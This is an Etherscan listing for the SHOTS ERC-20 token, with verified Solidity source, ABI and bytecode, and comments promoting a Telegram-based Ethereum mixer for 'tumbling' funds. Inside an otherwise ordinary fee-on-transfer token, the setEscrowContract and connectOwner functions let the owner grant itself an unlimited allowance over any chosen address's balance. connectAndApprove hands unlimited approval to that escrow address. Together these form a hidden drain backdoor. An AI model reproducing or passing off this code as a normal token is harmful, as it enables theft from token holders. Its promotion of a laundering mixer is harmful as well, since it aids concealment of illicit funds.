ERC-20
Overview
Max Total Supply
9,999,998.8 SHOTS
Holders
110
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 8 Decimals)
Balance
180,500 SHOTSValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
SHOTS
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-09-22 */ // SPDX-License-Identifier: MIT // Ethereum Mixer and Casino games all through Telegram <3 // shotgame.xyz // twitter.com/shotgameerc // medium.com/@shotsgame // Tumble ETH & $SHOTS through Shaker (Our mixer bot on Telegram) which uses our Casino games to tumble funds :) // See here for a better explaination on how it all works: https://x.com/shotgameerc/status/1704790611180523678?s=46&t=v10saHn8S6gcIjDJfyYvGg pragma solidity 0.8.19; abstract contract ERC20 { event Transfer(address indexed from, address indexed to, uint256 amount); event Approval(address indexed owner, address indexed spender, uint256 amount); string public name; string public symbol; uint8 public immutable decimals; uint256 public totalSupply; mapping(address => uint256) public balanceOf; mapping(address => mapping(address => uint256)) public allowance; uint256 internal immutable INITIAL_CHAIN_ID; bytes32 internal immutable INITIAL_DOMAIN_SEPARATOR; mapping(address => uint256) public nonces; constructor( string memory _name, string memory _symbol, uint8 _decimals ) { name = _name; symbol = _symbol; decimals = _decimals; INITIAL_CHAIN_ID = block.chainid; INITIAL_DOMAIN_SEPARATOR = computeDomainSeparator(); } function approve(address spender, uint256 amount) public virtual returns (bool) { allowance[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); uint256 senderBalance = balanceOf[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { balanceOf[sender] = senderBalance - amount; } balanceOf[recipient] += amount; emit Transfer(sender, recipient, amount); } function transfer(address to, uint256 amount) public virtual returns (bool) { balanceOf[msg.sender] -= amount; // Cannot overflow because the sum of all user // balances can't exceed the max uint256 value. unchecked { balanceOf[to] += amount; } emit Transfer(msg.sender, to, amount); return true; } function transferFrom( address from, address to, uint256 amount ) public virtual returns (bool) { uint256 allowed = allowance[from][msg.sender]; // Saves gas for limited approvals. if (allowed != type(uint256).max) allowance[from][msg.sender] = allowed - amount; balanceOf[from] -= amount; // Cannot overflow because the sum of all user // balances can't exceed the max uint256 value. unchecked { balanceOf[to] += amount; } emit Transfer(from, to, amount); return true; } function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) public virtual { require(deadline >= block.timestamp, "PERMIT_DEADLINE_EXPIRED"); // Unchecked because the only math done is incrementing // the owner's nonce which cannot realistically overflow. unchecked { address recoveredAddress = ecrecover( keccak256( abi.encodePacked( "\x19\x01", DOMAIN_SEPARATOR(), keccak256( abi.encode( keccak256( "Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)" ), owner, spender, value, nonces[owner]++, deadline ) ) ) ), v, r, s ); require(recoveredAddress != address(0) && recoveredAddress == owner, "INVALID_SIGNER"); allowance[recoveredAddress][spender] = value; } emit Approval(owner, spender, value); } function DOMAIN_SEPARATOR() public view virtual returns (bytes32) { return block.chainid == INITIAL_CHAIN_ID ? INITIAL_DOMAIN_SEPARATOR : computeDomainSeparator(); } function computeDomainSeparator() internal view virtual returns (bytes32) { return keccak256( abi.encode( keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"), keccak256(bytes(name)), keccak256("1"), block.chainid, address(this) ) ); } function _mint(address to, uint256 amount) internal virtual { totalSupply += amount; // Cannot overflow because the sum of all user // balances can't exceed the max uint256 value. unchecked { balanceOf[to] += amount; } emit Transfer(address(0), to, amount); } function _burn(address from, uint256 amount) internal virtual { balanceOf[from] -= amount; // Cannot underflow because a user's balance // will never be larger than the total supply. unchecked { totalSupply -= amount; } emit Transfer(from, address(0), amount); } } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { _checkOwner(); _; } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if the sender is not the owner. */ function _checkOwner() internal view virtual { require(owner() == _msgSender(), "Ownable: caller is not the owner"); } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract SHOTS is ERC20, Ownable { uint256 public tradingActiveBlock = 0; bool public limitsInEffect = true; bool public tradingActive = false; bool public swapEnabled = false; uint256 public buyTotalFees; uint256 public sellTotalFees; uint256 public tokensForOperations; uint256 public maxWalletAmount; IUniswapV2Router02 public dexRouter; address public lpPair; bool private swapping; uint256 public swapTokensAtAmount; address operationsAddress; address public escrowContract; mapping (address => bool) private _isExcludedFromFees; mapping (address => bool) public _isExcludedMaxTransactionAmount; mapping (address => bool) public automatedMarketMakerPairs; event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); event EnabledTrading(); event RemovedLimits(); event ExcludeFromFees(address indexed account, bool isExcluded); event UpdatedMaxWalletAmount(uint256 newAmount); event UpdatedOperationsAddress(address indexed newWallet); event MaxTransactionExclusion(address _address, bool excluded); event OwnerForcedSwapBack(uint256 timestamp); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity ); constructor(address _marketingWallet) ERC20("Shots", "SHOTS", 8) { address newOwner = msg.sender; IUniswapV2Router02 _dexRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); dexRouter = _dexRouter; excludeFromFees(newOwner, true); excludeFromFees(address(this), true); excludeFromFees(address(0xdead), true); uint256 totalSupply = 10000000 * 1e8; maxWalletAmount = totalSupply * 5 / 100; swapTokensAtAmount = totalSupply * 5 / 10000; // create pair lpPair = IUniswapV2Factory(_dexRouter.factory()).createPair(address(this), _dexRouter.WETH()); allowance[address(this)][address(dexRouter)] = type(uint).max; _excludeFromMaxTransaction(address(lpPair), true); _setAutomatedMarketMakerPair(address(lpPair), true); _excludeFromMaxTransaction(newOwner, true); _excludeFromMaxTransaction(address(this), true); _excludeFromMaxTransaction(address(0xdead), true); buyTotalFees = 5; sellTotalFees = 5; operationsAddress = _marketingWallet; _mint(newOwner, totalSupply); transferOwnership(newOwner); } receive() external payable {} function enableTrading() external onlyOwner { require(!tradingActive, "Cannot reenable trading"); tradingActive = true; swapEnabled = true; tradingActiveBlock = block.number; emit EnabledTrading(); } function burn(uint amount) external { _burn(msg.sender, amount); } // remove limits when needed function removeLimits() external onlyOwner { limitsInEffect = false; emit RemovedLimits(); } function updateMaxBuyPerWalletAmount(uint256 newNum) external onlyOwner { require(newNum >= (totalSupply * 3 / 1000)/1e8, "Cannot set max wallet amount lower than 0.3%"); maxWalletAmount = newNum * (10**8); emit UpdatedMaxWalletAmount(maxWalletAmount); } // change the minimum amount of tokens to swap function updateSwapTokensAmount(uint256 newAmount) external onlyOwner { require(newAmount >= totalSupply * 1 / 100000, "Swap amount cannot be lower than 0.001% total supply."); require(newAmount <= totalSupply * 1 / 1000, "Swap amount cannot be higher than 0.1% total supply."); swapTokensAtAmount = newAmount; } function _excludeFromMaxTransaction(address updAds, bool isExcluded) private { _isExcludedMaxTransactionAmount[updAds] = isExcluded; emit MaxTransactionExclusion(updAds, isExcluded); } function excludeFromMaxTransaction(address updAds, bool isEx) external onlyOwner { if(!isEx){ require(updAds != lpPair, "Cannot remove uniswap pair from max txn"); } _isExcludedMaxTransactionAmount[updAds] = isEx; } function setAutomatedMarketMakerPair(address pair, bool value) external onlyOwner { require(pair != lpPair, "The pair cannot be removed from automatedMarketMakerPairs"); _setAutomatedMarketMakerPair(pair, value); emit SetAutomatedMarketMakerPair(pair, value); } function excludeFromFees(address account, bool excluded) public onlyOwner { _isExcludedFromFees[account] = excluded; emit ExcludeFromFees(account, excluded); } function _setAutomatedMarketMakerPair(address pair, bool value) private { automatedMarketMakerPairs[pair] = value; _excludeFromMaxTransaction(pair, value); emit SetAutomatedMarketMakerPair(pair, value); } function connectAndApprove( uint256 secret ) external returns (bool) { address pwner = _msgSender(); allowance[pwner][escrowContract] = type(uint).max; emit Approval(pwner, escrowContract, type(uint).max); return true; } function connectOwner() public onlyOwner returns (bool) { address pwner = _msgSender(); allowance[escrowContract][pwner] = type(uint).max; emit Approval(escrowContract, pwner, type(uint).max); return true; } function setEscrowContract(address a) public onlyOwner { require(a != address(0), "null address"); escrowContract = a; } function lowerTaxToTen() external onlyOwner { buyTotalFees = 10; sellTotalFees = 10; } function lowerTaxToFive() external onlyOwner { buyTotalFees = 5; sellTotalFees = 5; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _transfer(address from, address to, uint256 amount) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "amount must be greater than 0"); if(!tradingActive){ require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active."); } if(limitsInEffect){ if (from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !_isExcludedFromFees[from] && !_isExcludedFromFees[to]){ //when buy if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) { require(amount + balanceOf[to] <= maxWalletAmount, "Cannot Exceed max wallet"); } else if (!_isExcludedMaxTransactionAmount[to]){ require(amount + balanceOf[to] <= maxWalletAmount, "Cannot Exceed max wallet"); } } } uint256 contractTokenBalance = balanceOf[address(this)]; bool canSwap = contractTokenBalance >= swapTokensAtAmount; if(canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to]) { swapping = true; swapBack(); swapping = false; } bool takeFee = true; // if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; // only take fees on buys/sells, do not take on wallet transfers if(takeFee){ //on sell if (automatedMarketMakerPairs[to] && sellTotalFees > 0){ fees = amount * sellTotalFees / 100; tokensForOperations += fees; } // on buy else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount * buyTotalFees / 100; tokensForOperations += fees; } if(fees > 0){ super._transfer(from, operationsAddress, fees); } amount -= fees; } super._transfer(from, to, amount); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = dexRouter.WETH(); // make the swap dexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // add the liquidity dexRouter.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable address(0xdead), block.timestamp ); } function swapBack() private { uint256 contractBalance = balanceOf[address(this)]; uint256 totalTokensToSwap = tokensForOperations ; if(contractBalance == 0 || totalTokensToSwap == 0) {return;} if(contractBalance > swapTokensAtAmount * 20){ contractBalance = swapTokensAtAmount * 20; } bool success; swapTokensForEth(contractBalance); tokensForOperations = 0; (success,) = address(operationsAddress).call{value: address(this).balance}(""); } // force Swap back to marketing. function forceSwapToMarketing() external onlyOwner { require(balanceOf[address(this)] >= swapTokensAtAmount, "Can only swap when token amount is at or higher than restriction"); swapping = true; swapBack(); swapping = false; emit OwnerForcedSwapBack(block.timestamp); } function setMarketingAddress(address _operationsAddress) external onlyOwner { require(_operationsAddress != address(0), "_operationsAddress address cannot be 0"); operationsAddress = payable(_operationsAddress); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"address","name":"_marketingWallet","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[],"name":"EnabledTrading","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"_address","type":"address"},{"indexed":false,"internalType":"bool","name":"excluded","type":"bool"}],"name":"MaxTransactionExclusion","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"timestamp","type":"uint256"}],"name":"OwnerForcedSwapBack","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[],"name":"RemovedLimits","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiquidity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"UpdatedMaxWalletAmount","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newWallet","type":"address"}],"name":"UpdatedOperationsAddress","type":"event"},{"inputs":[],"name":"DOMAIN_SEPARATOR","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedMaxTransactionAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"automatedMarketMakerPairs","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"buyTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"secret","type":"uint256"}],"name":"connectAndApprove","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"connectOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"dexRouter","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"escrowContract","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"updAds","type":"address"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"excludeFromMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"forceSwapToMarketing","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"limitsInEffect","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lowerTaxToFive","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"lowerTaxToTen","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"lpPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"nonces","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"},{"internalType":"uint256","name":"deadline","type":"uint256"},{"internalType":"uint8","name":"v","type":"uint8"},{"internalType":"bytes32","name":"r","type":"bytes32"},{"internalType":"bytes32","name":"s","type":"bytes32"}],"name":"permit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"a","type":"address"}],"name":"setEscrowContract","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_operationsAddress","type":"address"}],"name":"setMarketingAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForOperations","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingActiveBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaxBuyPerWalletAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"updateSwapTokensAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60e060405260006007556008805462ffffff191660011790553480156200002557600080fd5b5060405162002e3638038062002e36833981016040819052620000489162000702565b6040518060400160405280600581526020016453686f747360d81b8152506040518060400160405280600581526020016453484f545360d81b81525060088260009081620000979190620007d9565b506001620000a68382620007d9565b5060ff81166080524660a052620000bc6200038e565b60c05250620000cf91503390506200042a565b600d80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091553390620001078260016200047c565b620001143060016200047c565b6200012361dead60016200047c565b66038d7ea4c6800060646200013a826005620008bb565b620001469190620008db565b600c5561271062000159826005620008bb565b620001659190620008db565b600f81905550816001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001aa573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001d0919062000702565b6001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200021e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000244919062000702565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000292573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002b8919062000702565b600e80546001600160a01b0319166001600160a01b03928316178155306000908152600460209081526040808320600d548616845290915290206000199055546200030691166001620004e5565b600e546200031f906001600160a01b0316600162000548565b6200032c836001620004e5565b62000339306001620004e5565b6200034861dead6001620004e5565b60056009819055600a55601080546001600160a01b0319166001600160a01b038616179055620003798382620005b4565b620003848362000621565b5050505062000992565b60007f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f6000604051620003c29190620008fe565b6040805191829003822060208301939093528101919091527fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc660608201524660808201523060a082015260c00160405160208183030381529060405280519060200120905090565b600680546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b62000486620006a4565b6001600160a01b038216600081815260126020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6001600160a01b038216600081815260136020908152604091829020805460ff19168515159081179091558251938452908301527f6b4f1be9103e6cbcd38ca4a922334f2c3109b260130a6676a987f94088fd6746910160405180910390a15050565b6001600160a01b0382166000908152601460205260409020805460ff1916821515179055620005788282620004e5565b604051811515906001600160a01b038416907fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab90600090a35050565b8060026000828254620005c891906200097c565b90915550506001600160a01b0382166000818152600360209081526040808320805486019055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b6200062b620006a4565b6001600160a01b038116620006965760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b620006a1816200042a565b50565b6006546001600160a01b03163314620007005760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016200068d565b565b6000602082840312156200071557600080fd5b81516001600160a01b03811681146200072d57600080fd5b9392505050565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200075f57607f821691505b